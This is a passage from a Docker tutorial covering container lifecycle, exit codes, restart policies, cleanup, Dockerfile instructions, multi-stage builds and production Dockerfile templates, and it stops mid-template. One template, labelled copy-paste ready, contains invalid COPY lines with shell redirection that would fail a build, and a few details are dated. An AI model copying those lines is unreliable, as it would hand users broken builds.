# Works with stopped containers too!

# Create a new image from a modified container
docker commit myapp myapp-modified:v2
docker commit -m "Added custom nginx config" -a "Author" myapp myapp:custom
# NOTE: Use Dockerfiles in production — docker commit is not reproducible!

Container Operations — Advanced Concepts

Foreground vs Background — Attached vs Detached Mode

# Foreground (attached) — output visible, Ctrl+C stops the container
docker run nginx
# Terminal is blocked, nginx logs appear here

# Background (detached) — runs in background, terminal is free
docker run -d nginx
# Returns container ID, you can do other work

# Attach to a running container's output
docker attach myapp
# WARNING: Ctrl+C stops the container!
# To detach without stopping: Ctrl+P then Ctrl+Q

Detaching Without Stopping — Critical Shortcut

# Start an interactive session
docker run -it ubuntu bash

# To leave WITHOUT stopping the container:
# Press Ctrl+P then Ctrl+Q (both quickly)
# Container keeps running, you get your terminal back

# Return later
docker attach ubuntu_container_name

# exec vs attach — which to use?
# exec — starts a new process (SAFE, always use this)
docker exec -it myapp bash

# attach — connects to main process (RISKY for debugging)
docker attach myapp   # Ctrl+C = container STOP!

Caution: New users often use docker attach and then press Ctrl+C thinking they are only detaching from the terminal — but the container STOPS! In production, always use docker exec -it myapp bash. If you must use attach, detach with Ctrl+P Ctrl+Q.

Container Exit Codes

Exit codes tell you why a container stopped. Visible in docker ps -a in the STATUS column as "Exited (137)".

Exit Code	Meaning	Common Cause
0	Success	Container completed its task successfully
1	General Error	Application crash, unhandled exception, startup failure
125	Docker daemon error	Invalid `docker run` options, Docker internal error
126	Command can't execute	Permission error — command found but not executable
127	Command not found	Wrong command or PATH issue, typo in CMD/ENTRYPOINT
130	Ctrl+C (SIGINT)	Manual interruption
137	SIGKILL (128+9)	OOM killer or docker kill / docker stop timeout
139	Segmentation fault	Application memory error
143	SIGTERM (128+15)	docker stop — graceful shutdown signal

Tip: Signal-based exit codes = 128 + signal_number. SIGKILL = signal 9, exit code = 137. SIGTERM = signal 15, exit code = 143. Exit 137 almost always means OOM or force kill.

Restart Policies — Detailed

# no (default) — Never restart
docker run --restart no nginx
# Use case: one-off scripts, batch jobs, dev environment

# always — Always restart (ignores exit code)
docker run --restart always nginx
# Note: Also auto-starts on Docker daemon restart!
# Use case: critical services that must always be running

# on-failure — Restart only on failure (non-zero exit)
docker run --restart on-failure nginx         # Unlimited retries
docker run --restart on-failure:5 nginx       # Max 5 retries, then DEAD
# Use case: services that may occasionally crash

# unless-stopped — Like always, but respects manual stop
docker run --restart unless-stopped nginx
# docker stop → will NOT restart on daemon restart
# Use case: Production services (RECOMMENDED for most cases)

# Change policy on a running container (no restart required)
docker update --restart unless-stopped myapp
docker update --restart no myapp              # Disable restart

Policy	Restart on crash?	Restart on daemon restart?	Restart after docker stop?
`no`	Never	No	No
`always`	Yes	Yes	Yes (even after docker stop!)
`on-failure`	Yes (non-zero exit only)	Yes (if was running)	No
`unless-stopped`	Yes	Yes	No (respects manual stop)

Resource Monitoring

# Real-time stats dashboard (updates every 1 second)
watch -n 1 docker stats --no-stream

# Docker system overall usage
docker system df              # Disk usage — images, containers, volumes, build cache
docker system events          # Live event stream
docker system info            # Complete Docker system info

# Monitor events (powerful debugging tool)
docker events                              # All events real-time
docker events --filter 'type=container'   # Container events only
docker events --filter 'event=die'        # Container deaths
docker events --filter 'event=start'      # Container starts
docker events --since 1h                  # Events from last 1 hour

# Container health check status
docker inspect --format '{{.State.Health.Status}}' myapp
docker inspect --format '{{json .State.Health}}' myapp | jq

Cleanup Commands

# Check disk usage first
docker system df
# TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
# Images          25        3         12.5GB    10.2GB (82%)
# Containers      8         2         150MB     130MB (86%)
# Local Volumes   15        3         4.2GB     3.8GB (90%)
# Build Cache     -         -         2.1GB     2.1GB

# Individual cleanup (specific resources)
docker container prune                      # Remove stopped containers
docker image prune                          # Remove dangling images
docker image prune -a                       # Remove all unused images
docker volume prune                         # Remove unused volumes
docker network prune                        # Remove unused networks

# Nuclear options — use carefully!
docker system prune                         # Remove everything unused (no volumes)
docker system prune -a --volumes            # Remove everything including volumes

# Non-interactive (for CI/CD scripts)
docker system prune -f
docker system prune -af --volumes           # Full nuclear, no confirmation

# Smart cleanup — only remove old items
docker container prune --filter "until=24h"    # Containers older than 24 hours
docker image prune --filter "until=168h"       # Dangling images older than 1 week
docker system prune --filter "until=72h"       # Everything older than 3 days

Caution (Production Cleanup Strategy): On CI/CD servers, set up a daily cron job: 0 2 * * * docker system prune -f. On production servers, only docker container prune and docker image prune are safe — never run docker volume prune on production! An accidental docker volume prune has permanently deleted production data for multiple teams.

Tip (Interview — SIGTERM vs SIGKILL): docker stop first sends SIGTERM — a graceful shutdown request. The application has 10 seconds to clean up (close connections, complete in-flight requests, flush data). If it doesn't exit within 10 seconds, SIGKILL is sent — forced termination, no cleanup. docker kill sends SIGKILL directly — no grace period. Use docker stop in production so applications can shut down properly. In Node.js: process.on('SIGTERM', gracefulShutdown). Exit codes: SIGTERM = 143, SIGKILL = 137.

Dockerfile Basics

What is a Dockerfile?

A Dockerfile is a text file containing instructions for how to build an image. Think of it as a recipe card — ingredients and steps. Each instruction creates a layer, and layers together form the final Docker image.

Why build a custom image?

Your app requires a specific Node/Python version
Custom environment variables or config are needed
Pre-installed tools (curl, git, etc.) are required
You need a production-ready, minimal image
Security hardening — non-root user, read-only filesystem
Reproducible builds — every developer gets the same environment

Where to put the Dockerfile

Usually in the project root — the same directory as package.json or requirements.txt.

my-project/
├── Dockerfile          ← here
├── Dockerfile.dev      ← for dev environment
├── Dockerfile.prod     ← for prod environment
├── .dockerignore       ← CRITICAL! Never forget this
├── package.json
├── src/
└── dist/

docker build — Building an Image

# Build with current dir as context
docker build -t myapp:latest .

# Build with specific Dockerfile
docker build -f Dockerfile.prod -t myapp:prod .

# Build from a remote Git repo
docker build -t myapp https://github.com/user/repo.git

# Build with no cache (fresh build)
docker build --no-cache -t myapp .

# Build with build args
docker build --build-arg NODE_ENV=production -t myapp .

# Build with multiple tags
docker build -t myapp:latest -t myapp:v1.0.0 .

# Build with verbose output (useful for CI)
docker build --progress=plain -t myapp .

Tip: When you write docker build -t myapp ., the . (dot) is the build context — all files in this directory are sent to the Docker daemon. If your node_modules is 500MB and you have no .dockerignore, that entire directory gets sent. This is why .dockerignore is critical.

.dockerignore — Never Skip This

This file works exactly like .gitignore — it tells the Docker daemon which files to exclude from the build context.

Caution: Never let .env files into a Docker image. If AWS_SECRET_KEY or a database password ends up in an image, anyone can run docker history myapp and see it — even if you deleted it in a later layer!

# .dockerignore - put this in EVERY project!

# Dependencies (will be installed inside container)
node_modules/
vendor/
__pycache__/
*.pyc
.pytest_cache/
venv/
.venv/

# Build outputs
dist/
build/
.next/
out/
target/

# Environment files (SECURITY RISK!)
.env
.env.local
.env.*.local
.env.development
.env.production
*.pem
*.key
secrets/

# Version control
.git/
.gitignore

# Logs
*.log
logs/

# OS files
.DS_Store
Thumbs.db

# IDE/Editor files
.idea/
.vscode/

# CI/CD & Docker meta
.github/
.dockerignore
Dockerfile*

# Documentation
README.md
*.md
docs/

# Test & Coverage
coverage/
.nyc_output
__tests__/

Build Cache

Docker caches every layer. If a layer has not changed, Docker uses the cache — builds become very fast.

Scenario	Result	Speed
Layer unchanged	Cache HIT	Instant
Layer changed	Cache MISS	Slow (rebuild)
After a cache miss, all subsequent layers	Force rebuild	Slow
`--no-cache` flag	Skip all cache	Slowest

Tip: What changes least goes on top. What changes most (source code) goes at the bottom. If package.json hasn't changed, npm install won't re-run — only source code copy will.

Image Naming Conventions

# Tag formats
myapp:latest           # ❌ Avoid in production!
myapp:v1.0.0           # ✅ Semantic version (recommended)
myapp:1.0.0-alpine     # ✅ Version + variant
myapp:2024-01-15       # ✅ Date-based
myapp:abc1234          # ✅ Git commit hash (traceable)
myapp:prod-v1.2.3      # ✅ Environment-specific

# With registry
docker.io/myuser/myapp:v1.0.0          # Docker Hub
ghcr.io/myorg/myapp:v1.0.0            # GitHub Container Registry
123456.dkr.ecr.us-east-1.amazonaws.com/myapp:v1.0.0  # AWS ECR

# Build with git commit tag (common in CI/CD)
docker build -t myapp:$(git rev-parse --short HEAD) .

Caution: Using :latest in production means if you push a new image with :latest, any server that restarts will pull the new image — without any warning! Always use specific version tags for reproducible deployments.

Dockerfile Instructions — Deep Dive

FROM — Every Dockerfile Starts Here

# Basic — always specify a version
FROM ubuntu:22.04

# Specific digest (production best practice — immutable!)
FROM ubuntu@sha256:abc123def456...

# Multi-stage naming (used later with COPY --from)
FROM node:18-alpine AS builder
FROM nginx:alpine AS production

# ARG before FROM (dynamic base image version)
ARG NODE_VERSION=18
FROM node:${NODE_VERSION}-alpine

# ✅ BEST: Pinned version + variant
FROM node:18.19.0-alpine3.19

# ❌ BAD: Unpredictable, breaks builds
FROM node:latest

Tip (Alpine vs Slim vs Full): alpine: uses musl libc, 5MB, fastest — but some native modules may not compile. slim: Debian-based, ~75MB, more compatible. full: Most compatible, but large image. For most Node.js apps: start with node:18-alpine.

LABEL — Image Metadata

# ✅ BEST: All together in one layer
LABEL \
  maintainer="you@company.com" \
  version="1.0.0" \
  description="React DevOps Guide App" \
  org.opencontainers.image.source="https://github.com/user/repo" \
  org.opencontainers.image.created="2024-01-15" \
  org.opencontainers.image.revision="abc1234"

# Inspect labels
docker inspect myapp --format='{{json .Config.Labels}}'

RUN — Execute Commands

# Shell form (runs in /bin/sh -c)
RUN apt-get update

# Exec form (no shell — preferred for clarity)
RUN ["apt-get", "update"]

# ❌ BAD: Multiple RUN = multiple layers = big image
RUN apt-get update
RUN apt-get install -y curl
RUN apt-get install -y git

# ✅ BEST: All in one RUN + clean cache in SAME layer
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
      curl \
      git \
      build-essential && \
    rm -rf /var/lib/apt/lists/*   # CRITICAL: clean apt cache!

# Node.js
RUN npm ci --only=production && \
    npm cache clean --force

# Python
RUN pip install --no-cache-dir -r requirements.txt

# Alpine (apk package manager)
RUN apk add --no-cache \
    curl \
    git \
    bash

Caution: If you don't include rm -rf /var/lib/apt/lists/*, the apt cache (which can be several MB) stays in the image — size grows unnecessarily. Always clean in the SAME RUN instruction, not in a separate one (cleaning in a separate layer does not reduce the layer size).

CMD — Default Command

# ✅ Exec form (PREFERRED — no shell processing, better signal handling)
CMD ["nginx", "-g", "daemon off;"]
CMD ["node", "server.js"]
CMD ["python", "app.py"]
CMD ["uvicorn", "main:app", "--host", "0.0.0.0"]

# ❌ Shell form (avoid — shell processing, harder to handle signals)
CMD nginx -g "daemon off;"
CMD node server.js

# ⚠️ Multiple CMD — only the LAST one counts!
CMD ["node", "app.js"]
CMD ["node", "server.js"]   # ← This one runs; the above is ignored

# Override at runtime
docker run myapp node debug.js   # CMD overridden

ENTRYPOINT — Fixed Executable

# Exec form (preferred)
ENTRYPOINT ["node", "server.js"]

# ENTRYPOINT + CMD combination (powerful pattern!)
ENTRYPOINT ["node"]
CMD ["server.js"]    # docker run myapp          → node server.js
                     # docker run myapp debug.js  → node debug.js (CMD overridden)
                     # docker run myapp --version → node --version

# Common pattern: entrypoint script for setup logic
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
CMD ["server"]

# entrypoint.sh example:
#!/bin/sh
set -e
echo "Starting container..."
# Run migrations, wait for DB, etc.
exec "$@"   # "$@" = pass CMD arguments through

CMD vs ENTRYPOINT — Most Important Comparison

Feature	CMD	ENTRYPOINT
Override easily?	Yes — `docker run myapp npm test`	No — requires `--entrypoint` flag
Purpose	Provide default arguments	Set a fixed executable
When used together	CMD = default args for ENTRYPOINT	ENTRYPOINT = command, CMD = args
Override example	`docker run myapp bash`	`docker run --entrypoint bash myapp`
Use case	Flexible containers (same image for dev/prod)	Single-purpose containers

Tip (Interview Question): "What is the difference between CMD and ENTRYPOINT?" — Short answer: CMD is easily overridden, ENTRYPOINT is not. Use them together — ENTRYPOINT as the executable, CMD as the default arguments.

COPY and ADD

# COPY — preferred for most cases
COPY package.json /app/
COPY . /app/
COPY package.json package-lock.json /app/

# With ownership (chown)
COPY --chown=node:node . /app/

# From a multi-stage build (POWERFUL!)
COPY --from=builder /app/dist /usr/share/nginx/html/
COPY --from=builder /app/.next/standalone ./

# ADD — supports URLs and auto-extracts tar files
ADD https://example.com/file.tar.gz /tmp/        # ❌ Prefer curl in RUN
ADD myarchive.tar.gz /app/                       # ✅ Auto-extracts tar

Feature	COPY	ADD
Local files	Yes	Yes
Download from URLs	No	Yes
Auto-extract tar	No	Yes
Caching	Predictable	Less predictable
Recommended	For most cases	Only for tar extraction

WORKDIR, ENV, ARG

# WORKDIR — sets working directory
WORKDIR /app
WORKDIR /usr/src/app

# ❌ BAD: Use cd command
RUN cd /app && npm install  # Only valid for this RUN

# ✅ GOOD: Use WORKDIR
WORKDIR /app
RUN npm install              # Runs in /app

# ENV — environment variables (build + runtime)
ENV NODE_ENV=production \
    PORT=3000 \
    LOG_LEVEL=info \
    TZ=Asia/Kolkata

# Override at runtime
docker run -e NODE_ENV=development myapp
# ⚠️ Never put secrets in ENV — visible in docker inspect!

# ARG — build-time arguments (NOT available at runtime)
ARG NODE_VERSION=18
FROM node:${NODE_VERSION}-alpine

ARG BUILD_DATE
ARG GIT_COMMIT
ARG APP_VERSION=1.0.0

# Pass at build time
docker build \
  --build-arg NODE_VERSION=20 \
  --build-arg BUILD_DATE=$(date -u +%Y-%m-%dT%H:%M:%SZ) \
  --build-arg GIT_COMMIT=$(git rev-parse --short HEAD) \
  -t myapp .

# Convert ARG to ENV (to make it available at runtime)
ARG REACT_APP_API_URL
ENV REACT_APP_API_URL=$REACT_APP_API_URL

Feature	ARG	ENV
Available at	Build time only	Build + Runtime
Persists in container	No	Yes
Can use before FROM	Yes	No
Visibility	In layer history	In `docker inspect`

EXPOSE, VOLUME, USER

# EXPOSE — documentation only (does NOT actually open the port!)
EXPOSE 3000
EXPOSE 80 443
EXPOSE 8080/tcp
EXPOSE 53/udp

# Actual port publishing requires -p flag at runtime:
docker run -p 8080:3000 myapp   # host:container

# VOLUME — declare mount points
VOLUME /app/data
VOLUME /var/lib/postgresql/data
VOLUME ["/app/logs", "/app/uploads"]

# In production, use named volumes:
docker run -v postgres_data:/var/lib/postgresql/data postgres

# USER — run as non-root (security!)
# ❌ BAD: Running as root (default if USER not specified)

# ✅ Method 1: Named user
RUN groupadd -r appuser && useradd -r -g appuser appuser
USER appuser

# ✅ Method 2: Numeric UID (more secure)
RUN addgroup --system --gid 1001 nodejs && \
    adduser --system --uid 1001 nextjs
USER 1001

# ✅ Node.js: Use the built-in 'node' user
FROM node:18-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY --chown=node:node . .
USER node
EXPOSE 3000
CMD ["node", "server.js"]

Note: Kubernetes and AWS ECS policies typically prohibit containers running as root. Always specify a non-root USER. In Kubernetes, set runAsNonRoot: true in PodSecurityPolicy.

HEALTHCHECK

# HTTP health check (common for web apps)
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD curl -f http://localhost:3000/health || exit 1

# Node.js health check (when curl is not available)
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
  CMD node -e "require('http').get('http://localhost:3000/health', r => r.statusCode === 200 ? process.exit(0) : process.exit(1))"

# Disable inherited health check
HEALTHCHECK NONE

# Options:
# --interval=30s    → check every 30 seconds (default: 30s)
# --timeout=3s      → fail if no response within 3s (default: 30s)
# --start-period=5s → 5s grace period at start (container boot time)
# --retries=3       → 3 consecutive failures = unhealthy

# Check status
docker inspect --format='{{.State.Health.Status}}' container_name
docker ps   # STATUS column shows (healthy) or (unhealthy)

Shell Form vs Exec Form — Signal Handling

# Shell form: runs via /bin/sh -c
CMD nginx -g "daemon off;"
ENTRYPOINT node server.js

# Exec form: runs directly (no shell)
CMD ["nginx", "-g", "daemon off;"]
ENTRYPOINT ["node", "server.js"]

# KEY DIFFERENCE: Signal handling!
# Shell form:
#   /bin/sh (PID 1) → nginx (child process)
#   SIGTERM goes to /bin/sh, not nginx → dirty shutdown!

# Exec form:
#   nginx (PID 1) directly
#   SIGTERM goes directly to nginx → graceful shutdown!

# RULE: ALWAYS use exec form in CMD and ENTRYPOINT

Tip (Interview): "What is the difference between shell form and exec form?" — Shell form runs via /bin/sh -c (does not become PID 1), exec form executes directly (becomes PID 1). In production, exec form is preferred because signals are properly received.

Writing Efficient Dockerfiles

Before vs After — 1.5 GB to 180 MB

Before (1.5 GB image):

FROM ubuntu:22.04
RUN apt-get update
RUN apt-get install -y nodejs npm
RUN apt-get install -y git
COPY . /app
WORKDIR /app
RUN npm install
EXPOSE 3000
CMD node server.js

Problems: Ubuntu base (~80MB), Node+npm via apt (~200MB), multiple apt layers, all node_modules included, no cache optimization, running as root, shell form CMD.

After (180 MB image):

FROM node:18-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER node
EXPOSE 3000
CMD ["node", "server.js"]

Benefits: Alpine base (~5MB), official Node image, layered cache optimization, production deps only, non-root user, exec CMD form.

Layer Ordering — Cache Optimization

# ❌ BAD ORDER: package.json copied with source code
FROM node:18-alpine
WORKDIR /app
COPY . .                    # Source code AND package.json together
RUN npm ci                  # Runs on every code change!
RUN npm run build
EXPOSE 3000
CMD ["node", "server.js"]

# ✅ OPTIMAL ORDER: What changes least goes first
FROM node:18-alpine          # Layer 1: base image (almost always cached)
WORKDIR /app                 # Layer 2: almost always cached
COPY package*.json ./        # Layer 3: rebuilt only when package.json changes
RUN npm ci                   # Layer 4: rebuilt only when package.json changes
COPY . .                     # Layer 5: rebuilt on any code change
RUN npm run build            # Layer 6: rebuilt on any code change
EXPOSE 3000
CMD ["node", "server.js"]

# RESULT:
# If only src/App.js changed:
# → Layers 1-4: CACHE HIT (npm ci skipped!)
# → Layers 5-6: rebuild
# Build time: 10s instead of 60s!

Tip: Thumb rule: "What changes least goes on top." Order: Base image → System deps → Package manifest (package.json/requirements.txt) → Dependencies install → Source code copy → Build → Configuration.

Base Image Choices

Base Image	Size	Use Case	Pros/Cons
`ubuntu:22.04`	~80MB	Legacy apps needing apt	Familiar, large
`debian:slim`	~75MB	Debian apps, smaller	Compatible, slim
`alpine:3.19`	~5MB	Smallest possible	musl libc issues sometimes
`node:18-alpine`	~50MB	Node.js apps	Best for Node
`python:3.11-slim`	~130MB	Python apps	Best for Python
`gcr.io/distroless/nodejs`	~30MB	Security-focused	No shell — very secure
`scratch`	0MB	Static Go/Rust binaries	Smallest possible

Security Best Practices

# 1. Pin specific versions
FROM node:18.19.0-alpine3.19   # ✅ Exact version
FROM node:latest                # ❌ Unpredictable

# 2. Non-root user (always!)
USER node

# 3. NEVER put secrets in ENV/ARG permanently
# ❌ WRONG — visible in docker history!
RUN export API_KEY=secret123 && ./setup.sh

# ✅ RIGHT — use runtime env vars
docker run -e API_KEY=secret123 myapp

# 4. Don't install unnecessary packages
RUN apt-get install -y --no-install-recommends \
    curl && \
    rm -rf /var/lib/apt/lists/*

# 5. Read-only filesystem (at runtime)
docker run --read-only \
    --tmpfs /tmp \
    --tmpfs /app/logs \
    myapp

# 6. Drop all capabilities (at runtime)
docker run --cap-drop ALL \
    --cap-add NET_BIND_SERVICE \
    myapp

# 7. Scan images for vulnerabilities
docker scout cves myapp:latest
trivy image myapp:latest

Note (Production Security Checklist): Non-root USER | .dockerignore with .env | No secrets in Dockerfile | Specific base image version | HEALTHCHECK defined | Image vulnerability scan in CI/CD | Read-only filesystem where possible.

npm install vs npm ci

Command	Use Case	In Dockerfile?
`npm install`	Development, install from package.json	Avoid
`npm ci`	Exact install from package-lock.json	Always use
`npm ci --only=production`	Exclude devDependencies	For production

Multi-Stage Builds

Multi-stage builds keep the build toolchain in a throw-away stage and ship only the compiled artifact in a minimal final image, cutting image size by 80–90%.

Why Multi-Stage Builds?

The problem: build tools are needed at build time (compiler, test runner, devDependencies) but should not be in the production image. Without multi-stage builds, everything ends up in the final image — size explodes.

Without Multi-Stage	With Multi-Stage
Build tools included (1.2 GB)	Only production artifacts (120 MB)
devDependencies included	Build tools discarded
Source code included	Source code discarded
Security risk (unnecessary tools)	Minimal attack surface
Slow to push/pull	Fast to push/pull

# BEFORE multi-stage: build tools in final image
FROM node:18
WORKDIR /app
COPY . .
RUN npm install      # devDependencies too — 500MB!
RUN npm run build
CMD ["node", "server.js"]
# Final image: ~1.2 GB

# AFTER multi-stage: only production artifacts
# ---- Stage 1: Builder ----
FROM node:18 AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci              # ALL deps (devDeps for build)
COPY . .
RUN npm run build       # Create production bundle

# ---- Stage 2: Runner (final image) ----
FROM node:18-alpine AS runner
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production   # Production deps only
COPY --from=builder /app/dist ./dist   # Only built files!
USER node
EXPOSE 3000
CMD ["node", "dist/server.js"]
# Final image: ~120 MB  (90% size reduction!)

Tip: COPY --from=builder only copies the files you specify — not the entire builder stage. Everything else (node_modules, devDeps, source code, compiler) is automatically discarded. The final image contains only the content from the LAST FROM onwards.

React App — Production-Ready Multi-Stage

# ============================================
# React App — Production Dockerfile
# Multi-stage: Node builder → Nginx server
# Final size: ~25-30MB
# ============================================

# ---- Stage 1: Build ----
FROM node:18-alpine AS builder

WORKDIR /app

COPY package*.json ./
RUN npm ci

COPY . .

ARG REACT_APP_API_URL=https://api.myapp.com
ARG REACT_APP_ENV=production
ARG REACT_APP_VERSION=1.0.0

ENV REACT_APP_API_URL=$REACT_APP_API_URL \
    REACT_APP_ENV=$REACT_APP_ENV \
    REACT_APP_VERSION=$REACT_APP_VERSION

RUN npm run build
# Output: /app/build/

# ---- Stage 2: Serve ----
FROM nginx:1.25-alpine AS production

LABEL maintainer="you@company.com" \
      version="1.0.0" \
      description="React App Production Image"

COPY --from=builder /app/build /usr/share/nginx/html

# Custom Nginx config (required for SPA routing!)
COPY nginx.conf /etc/nginx/conf.d/default.conf

RUN chown -R nginx:nginx /usr/share/nginx/html && \
    chown -R nginx:nginx /var/cache/nginx && \
    touch /var/run/nginx.pid && \
    chown -R nginx:nginx /var/run/nginx.pid

USER nginx

EXPOSE 80

HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD wget -qO- http://localhost/health || exit 1

CMD ["nginx", "-g", "daemon off;"]

# nginx.conf
server {
    listen 80;
    server_name _;
    root /usr/share/nginx/html;
    index index.html;

    # Handle React Router (SPA routing!)
    # Without this, refreshing /about gives a 404!
    location / {
        try_files $uri $uri/ /index.html;
    }

    # Long-term cache for static assets
    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
        expires 1y;
        add_header Cache-Control "public, immutable";
    }

    # Health check endpoint
    location /health {
        return 200 "healthy\n";
        add_header Content-Type text/plain;
    }

    # Security headers
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;

    # Gzip compression
    gzip on;
    gzip_types text/plain text/css application/json
               application/javascript text/xml application/xml;
    gzip_min_length 1000;
}

Go Application — Scratch Image (10MB!)

# ---- Stage 1: Go Binary Build ----
FROM golang:1.21-alpine AS builder

WORKDIR /app

COPY go.mod go.sum ./
RUN go mod download

COPY . .

# Static binary build (no external dependencies)
RUN CGO_ENABLED=0 \
    GOOS=linux \
    GOARCH=amd64 \
    go build \
    -ldflags="-w -s" \
    -a -installsuffix cgo \
    -o app .

# ---- Stage 2: Scratch (empty base!) ----
FROM scratch

# SSL certificates (for HTTPS calls)
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/

# Only the binary
COPY --from=builder /app/app /app

EXPOSE 8080

ENTRYPOINT ["/app"]

# Final image: ~8-10MB (just the binary!)

Java Spring Boot Multi-Stage

# ---- Stage 1: Maven Build ----
FROM maven:3.9-openjdk-17-slim AS builder

WORKDIR /app

# Copy pom.xml first (dependency caching!)
COPY pom.xml .
RUN mvn dependency:go-offline -B   # Download all dependencies

COPY src ./src
RUN mvn clean package -DskipTests -B

# ---- Stage 2: JRE Only (no JDK!) ----
FROM eclipse-temurin:17-jre-alpine AS production

WORKDIR /app

RUN addgroup --system --gid 1001 spring && \
    adduser --system --uid 1001 spring
USER spring

# Only the JAR (not Maven, not JDK)
COPY --from=builder /app/target/*.jar app.jar

EXPOSE 8080

HEALTHCHECK --interval=30s --timeout=10s --start-period=30s --retries=3 \
  CMD curl -f http://localhost:8080/actuator/health || exit 1

ENTRYPOINT ["java", \
  "-XX:+UseContainerSupport", \
  "-XX:MaxRAMPercentage=75.0", \
  "-jar", "app.jar"]

Building Specific Stages

# Build up to a specific stage (useful for debugging!)
docker build --target builder -t myapp:builder .
docker build --target production -t myapp:prod .

# Open a shell in the builder stage
docker run --rm -it myapp:builder sh

# Separate development vs production builds
docker build --target development -t myapp:dev .
docker build --target production -t myapp:prod .

Dockerfile Templates Library

These templates are copy-paste ready for production use. All are fully commented and follow security best practices. Customize the EXPOSE port, user names, and CMD for your project.

Template 1: React App (Production-Ready)

# ============================================
# React App — Production Dockerfile
# Multi-stage: Node builder → Nginx server
# Final size: ~25-30MB
# ============================================

# ---- Stage 1: Build ----
FROM node:18-alpine AS builder

WORKDIR /app

COPY package*.json ./
RUN npm ci

COPY . .

ARG REACT_APP_API_URL=https://api.myapp.com
ARG REACT_APP_ENV=production
ARG REACT_APP_VERSION=1.0.0

ENV REACT_APP_API_URL=$REACT_APP_API_URL \
    REACT_APP_ENV=$REACT_APP_ENV \
    REACT_APP_VERSION=$REACT_APP_VERSION

RUN npm run build
# Output: /app/build/

# ---- Stage 2: Serve ----
FROM nginx:1.25-alpine AS production

LABEL maintainer="you@company.com" \
      version="1.0.0" \
      description="React App Production Image"

COPY --from=builder /app/build /usr/share/nginx/html

COPY nginx.conf /etc/nginx/conf.d/default.conf

RUN chown -R nginx:nginx /usr/share/nginx/html && \
    chown -R nginx:nginx /var/cache/nginx && \
    touch /var/run/nginx.pid && \
    chown -R nginx:nginx /var/run/nginx.pid

USER nginx

EXPOSE 80

HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD wget -qO- http://localhost/health || exit 1

CMD ["nginx", "-g", "daemon off;"]

# ============================================
# Build commands:
# docker build -t myreactapp:latest .
# docker build --build-arg REACT_APP_API_URL=https://prod.api.com -t myreactapp:prod .
# docker run -p 8080:80 myreactapp:latest
# ============================================

Template 2: Node.js Express API

# ============================================
# Node.js Express API — Production Dockerfile
# Features: dumb-init, TypeScript support,
#           non-root user, health check
# Final size: ~80-120MB
# ============================================

FROM node:18-alpine AS base

# dumb-init: proper PID 1 handling + signal forwarding
RUN apk add --no-cache dumb-init

WORKDIR /app

# ---- Stage 1: Dependencies ----
FROM base AS deps

COPY package*.json ./
RUN npm ci

# ---- Stage 2: Build (for TypeScript projects) ----
FROM deps AS builder

COPY . .
RUN npm run build 2>/dev/null || echo "No build step found, skipping..."

# ---- Stage 3: Production ----
FROM base AS production

ENV NODE_ENV=production

LABEL maintainer="you@company.com" \
      description="Express API Production Image"

COPY package*.json ./
RUN npm ci --only=production && \
    npm cache clean --force

COPY --from=builder /app/dist ./dist 2>/dev/null || true
COPY --from=deps /app/src ./src 2>/dev/null || true
COPY . .

RUN addgroup --system --gid 1001 nodejs && \
    adduser --system --uid 1001 nodeuser
RUN chown -R nodeuser:nodejs /app

USER nodeuser

EXPOSE 3000

HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \
  CMD node -e "require('http').get('http://localhost:3000/health', (r) => { \
    r.statusCode === 200 ? process.exit(0) : process.exit(1); \
  }).on('error', () => process.exit(1))"

ENTRYPOINT ["dumb-init", "--"]
CMD ["node", "src/server.js"]

# ============================================
# Build commands:
# docker build -t myapi:latest .
# docker run -p 3000:3000 -e DB_URL=mongodb://... myapi:latest
#
# For TypeScript projects, change CMD to:
# CMD ["node", "dist/server.js"]
# ============================================

Template 3: Python Flask App

# ============================================
# Python Flask App — Production Dockerfile
# Features: Gunicorn WSGI, non-root user,
#           multi-stage, health check
# Final size: ~130-160MB
# ============================================

FROM python:3.11-slim AS base

RUN apt-get update && \
    apt-get upgrade -y && \
    rm -rf /var/lib/apt/lists/*

RUN addgroup --system --gid 1001 appgroup && \
    adduser --system --uid 1001 --gid 1001 appuser

WORKDIR /app

# ---- Stage 2: Dependencies ----
FROM base AS deps

COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt

# ---- Stage 3: Production ----
FROM base AS production

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1 \
    FLASK_ENV=production \
    PORT=5000

LABEL maintainer="you@company.com" \
      description="Flask API Production Image"

COPY --from=deps /root/.local /home/appuser/.local
ENV PATH=/home/appuser/.local/bin:$PATH

COPY --chown=appuser:appgroup . .

USER appuser

EXPOSE 5000

HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
  CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:5000/health')" \
      || exit 1

CMD ["python", "-m", "gunicorn", \
     "--bind", "0.0.0.0:5000", \
     "--workers", "4", \
     "--timeout", "120", \
     "--access-logfile", "-", \
     "--error-logfile", "-", \
     "app:app"]

# ============================================
# requirements.txt must include:
# Flask==3.0.0
# gunicorn==21.2.0
# ============================================

Template 4: Python FastAPI

# ============================================
# FastAPI App — Production Dockerfile
# Features: Uvicorn ASGI, non-root user,
#           async support, health check
# Final size: ~130-150MB
# ============================================

FROM python:3.11-slim AS base

RUN apt-get update && \
    apt-get install -y --no-install-recommends curl && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /app

RUN addgroup --system --gid 1001 appgroup && \
    adduser --system --uid 1001 --gid 1001 appuser

ENV PYTHONDONTWRITEBYTECODE=1 \
